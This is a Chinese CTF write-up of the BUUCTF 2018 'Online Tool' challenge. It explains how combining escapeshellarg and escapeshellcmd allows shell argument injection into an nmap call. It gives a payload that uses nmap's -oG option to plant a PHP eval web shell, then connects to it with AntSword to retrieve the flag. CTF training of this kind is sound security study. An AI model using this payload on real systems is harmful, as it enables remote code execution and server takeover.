[BUUCTF 2018]Online Tool
前言
我到底什么时候才能学会看知识点写题,而不是看题解写题。(三重套娃)
今天做题日常看wp,看到了两位师傅写的本道题的题解,经过反复观看才勉强看懂,下面是两位师傅的链接:(基本全程抄(bushi))
https://blog.csdn.net/weixin_44077544/article/details/102835099
https://blog.csdn.net/TM_1024/article/details/107393796?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.essearch_pc_relevant&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.essearch_pc_relevant
内容
1,REMOTE_ADDR
和HTTP_X_FORWARDED_FOR
服务器获取ip会用到,这里没用。接着用get方式提交参数host
,看到两个函数escapeshellarg()
和escapeshellcmd()
,参考这篇文章
2,escapeshellarg
,会在字符串中所有的单引号(包括成对存在闭合的)前加一个\
,若已用\
转义,则会用'\'
替换,最后将整个变量用单引号包裹。
escapeshellcmd
,会将字符串中未被转义的未成对双引号或单引号转义,若已被转义,则用\\\"
或\\\'
代替\"
或\'
测试一下:
$host = $_GET['host'];
echo $host."<br>";
$host = escapeshellarg($host);
echo $host."<br>";
$host = escapeshellcmd($host);
echo $host."<br>";
如果我们在数据后面,加上一个单引号,所有的单引号都闭合了,那么我们在单引号后面,就可以加上我们想要执行的命令了。
此时语句变成了nmap -T5 -sT -Pn --host-timeout 2 -F '1'\\'' shellcode\
,所有的单引号都闭合了,所以可以忽略。
3,namp还可以写入文件,利用namp的参数-oG
可以将命令和结果写入文件,那就可以指定一个php文件。
payload
:?host= '<?php eval($_POST["a"]);?> -oG 1.php'
不理解为什么两边要加单引号,所以又找了一篇超详细的wp
这个是地址,链接蚁剑即可得到flag
(img-nyiYjDOS-1630735202165)]
这个是地址,链接蚁剑即可得到flag